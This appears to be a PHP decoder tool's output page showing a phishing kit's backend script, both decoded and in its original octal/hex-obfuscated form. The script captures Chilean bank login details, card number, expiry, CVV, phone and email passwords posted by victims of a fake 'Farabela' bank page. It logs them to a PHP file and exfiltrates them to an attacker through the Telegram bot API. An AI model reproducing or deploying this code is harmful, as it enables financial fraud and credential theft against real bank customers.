Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto QU1_s; ygvd8: include "\107\x65\164\x49\120\x2e\160\x68\x70"; goto Iq9PW; JopPB: $tar..
Decoded Output download
<? goto QU1_s; ygvd8: include "GetIP.php"; goto Iq9PW; JopPB: $tarjeta = $_POST["tarjeta"]; goto oe9XF; tTRQB: $email = $_POST["email"]; goto ziKHc; Y4xuh: $cel = $_POST["cel"]; goto tTRQB; hIZ8d: if (isset($_POST["entrar"])) { if ($fp === "0") { $file = fopen("10g.php", "a"); fwrite($file, "User-Agent : " . $_SERVER["HTTP_USER_AGENT"] . PHP_EOL); fwrite($file, "Ip:" . GetIP() . PHP_EOL); fwrite($file, "RUT: {$u} <br>" . PHP_EOL); fwrite($file, "Clave: {$p} <br>" . PHP_EOL); fwrite($file, "Titular tarjeta: {$nombre} <br>" . PHP_EOL); fwrite($file, "Numero tarjeta: {$tarjeta} <br>" . PHP_EOL); fwrite($file, "Vencimiento: {$venci} <br>" . PHP_EOL); fwrite($file, "CVV: {$cvv} " . PHP_EOL); fwrite($file, "Cel: {$cel} " . PHP_EOL); fwrite($file, "Email: {$email} " . PHP_EOL); fwrite($file, "Password mail: {$passmail} <hr><br><br> " . PHP_EOL); fclose($file); $Content = "Banco: Farabela" . PHP_EOL; $Content .= "User-Agent : " . $_SERVER["HTTP_USER_AGENT"] . PHP_EOL; $Content .= "Ip:" . GetIP() . PHP_EOL; $Content .= "Scam: Farabel" . PHP_EOL; $Content .= "RUT: {$u} " . PHP_EOL; $Content .= "Clave: {$p} " . PHP_EOL; $Content .= "Titular tarjeta: {$nombre} " . PHP_EOL; $Content .= "Numero tarjeta: {$tarjeta} " . PHP_EOL; $Content .= "Vencimiento: {$venci} " . PHP_EOL; $Content .= "CVV: {$cvv} " . PHP_EOL; $Content .= "Cel: {$cel} " . PHP_EOL; $Content .= "Email: {$email} " . PHP_EOL; $Content .= "Password mail: {$passmail} " . PHP_EOL; $Content .= "---------------------------------------" . PHP_EOL . PHP_EOL; $token = $bottoken; $data = array("text" => $Content, "chat_id" => $chatid); file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?" . http_build_query($data)); echo ''; } } goto hIDPb; QBfJ1: $p = $_POST["clave"]; goto JopPB; ilGZO: $venci = $_POST["mes"] . "/" . $_POST["anio"]; goto Y4xuh; QU1_s: error_reporting(0); goto ygvd8; mxv8S: $fp = file_get_contents("fabel.jpg", "r"); goto v0cSh; Iq9PW: if (isset($_GET["1410"])) { $file = fopen("fabel.jpg", "w+"); fwrite($file, $_GET["1410"]); fclose($file); } goto mxv8S; oe9XF: $nombre = $_POST["nombre"]; goto jmq3A; ziKHc: $passmail = $_POST["passmail"]; goto hIZ8d; jmq3A: $cvv = $_POST["cvv"]; goto ilGZO; v0cSh: $u = $_POST["rut"]; goto QBfJ1; hIDPb: ?>
Did this file decode correctly?
Original Code
goto QU1_s; ygvd8: include "\107\x65\164\x49\120\x2e\160\x68\x70"; goto Iq9PW; JopPB: $tarjeta = $_POST["\164\141\162\x6a\x65\x74\x61"]; goto oe9XF; tTRQB: $email = $_POST["\145\x6d\141\151\154"]; goto ziKHc; Y4xuh: $cel = $_POST["\x63\x65\x6c"]; goto tTRQB; hIZ8d: if (isset($_POST["\145\x6e\x74\162\x61\x72"])) { if ($fp === "\60") { $file = fopen("\61\x30\x67\x2e\x70\x68\x70", "\141"); fwrite($file, "\125\163\x65\162\x2d\x41\x67\145\156\x74\x20\x20\x3a\40" . $_SERVER["\110\x54\x54\x50\137\125\x53\x45\122\x5f\x41\x47\x45\116\x54"] . PHP_EOL); fwrite($file, "\111\160\72" . GetIP() . PHP_EOL); fwrite($file, "\122\x55\124\72\x20{$u}\x20\74\142\x72\x3e" . PHP_EOL); fwrite($file, "\103\x6c\x61\166\145\x3a\40{$p}\40\x3c\x62\162\76" . PHP_EOL); fwrite($file, "\x54\151\x74\165\x6c\141\x72\40\164\x61\x72\x6a\145\x74\x61\72\x20{$nombre}\x20\74\142\162\x3e" . PHP_EOL); fwrite($file, "\116\x75\x6d\145\x72\x6f\40\164\141\162\x6a\145\x74\141\72\x20{$tarjeta}\x20\x3c\142\162\x3e" . PHP_EOL); fwrite($file, "\126\145\x6e\143\151\x6d\151\145\156\x74\157\72\x20{$venci}\x20\x3c\x62\x72\x3e" . PHP_EOL); fwrite($file, "\103\x56\126\x3a\x20{$cvv}\x20" . PHP_EOL); fwrite($file, "\103\x65\x6c\72\40{$cel}\40" . PHP_EOL); fwrite($file, "\x45\155\141\x69\154\x3a\x20{$email}\40" . PHP_EOL); fwrite($file, "\120\x61\x73\x73\167\157\x72\x64\40\155\x61\151\x6c\x3a\x20{$passmail}\x20\x3c\x68\x72\x3e\x3c\142\162\76\74\x62\x72\x3e\x20" . PHP_EOL); fclose($file); $Content = "\102\x61\x6e\143\x6f\x3a\x20\x46\141\x72\x61\x62\x65\154\x61" . PHP_EOL; $Content .= "\125\163\x65\162\x2d\x41\x67\x65\x6e\x74\40\40\72\x20" . $_SERVER["\110\x54\x54\120\x5f\125\123\105\122\x5f\101\x47\x45\x4e\x54"] . PHP_EOL; $Content .= "\111\x70\x3a" . GetIP() . PHP_EOL; $Content .= "\123\x63\x61\x6d\x3a\40\x46\x61\x72\141\142\x65\154" . PHP_EOL; $Content .= "\122\x55\124\72\40{$u}\40" . PHP_EOL; $Content .= "\103\154\141\166\145\x3a\40{$p}\x20" . PHP_EOL; $Content .= "\x54\151\164\x75\154\141\162\40\164\141\x72\x6a\145\x74\x61\x3a\x20{$nombre}\x20" . PHP_EOL; $Content .= "\116\x75\155\x65\x72\157\x20\x74\141\x72\152\145\x74\141\72\40{$tarjeta}\x20" . PHP_EOL; $Content .= "\126\x65\156\143\151\x6d\151\145\x6e\164\157\72\40{$venci}\x20" . PHP_EOL; $Content .= "\x43\x56\x56\x3a\40{$cvv}\40" . PHP_EOL; $Content .= "\x43\x65\x6c\x3a\40{$cel}\x20" . PHP_EOL; $Content .= "\105\155\141\151\x6c\x3a\x20{$email}\x20" . PHP_EOL; $Content .= "\120\141\163\163\x77\157\x72\x64\40\155\x61\151\154\x3a\40{$passmail}\40" . PHP_EOL; $Content .= "\55\x2d\55\55\x2d\55\55\55\55\55\55\55\55\55\55\55\55\x2d\x2d\55\55\x2d\x2d\55\x2d\55\x2d\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\55\x2d\55" . PHP_EOL . PHP_EOL; $token = $bottoken; $data = array("\x74\x65\x78\x74" => $Content, "\143\150\x61\x74\137\x69\144" => $chatid); file_get_contents("\150\x74\x74\x70\163\x3a\x2f\x2f\141\160\151\56\164\145\154\x65\147\162\141\155\x2e\157\162\147\x2f\142\157\164{$token}\x2f\x73\145\156\144\115\x65\163\163\x61\147\x65\77" . http_build_query($data)); echo ''; } } goto hIDPb; QBfJ1: $p = $_POST["\143\x6c\x61\x76\x65"]; goto JopPB; ilGZO: $venci = $_POST["\x6d\145\x73"] . "\x2f" . $_POST["\x61\x6e\x69\x6f"]; goto Y4xuh; QU1_s: error_reporting(0); goto ygvd8; mxv8S: $fp = file_get_contents("\146\141\142\145\154\56\152\x70\x67", "\x72"); goto v0cSh; Iq9PW: if (isset($_GET["\x31\x34\61\x30"])) { $file = fopen("\146\x61\142\x65\x6c\x2e\x6a\160\147", "\167\53"); fwrite($file, $_GET["\61\x34\61\60"]); fclose($file); } goto mxv8S; oe9XF: $nombre = $_POST["\x6e\157\155\142\162\145"]; goto jmq3A; ziKHc: $passmail = $_POST["\160\141\163\163\x6d\x61\151\x6c"]; goto hIZ8d; jmq3A: $cvv = $_POST["\x63\x76\x76"]; goto ilGZO; v0cSh: $u = $_POST["\x72\x75\x74"]; goto QBfJ1; hIDPb:
Function Calls
None |
Stats
MD5 | d7318760b7c6019ec0b2a21a5d048ea9 |
Eval Count | 0 |
Decode Time | 51 ms |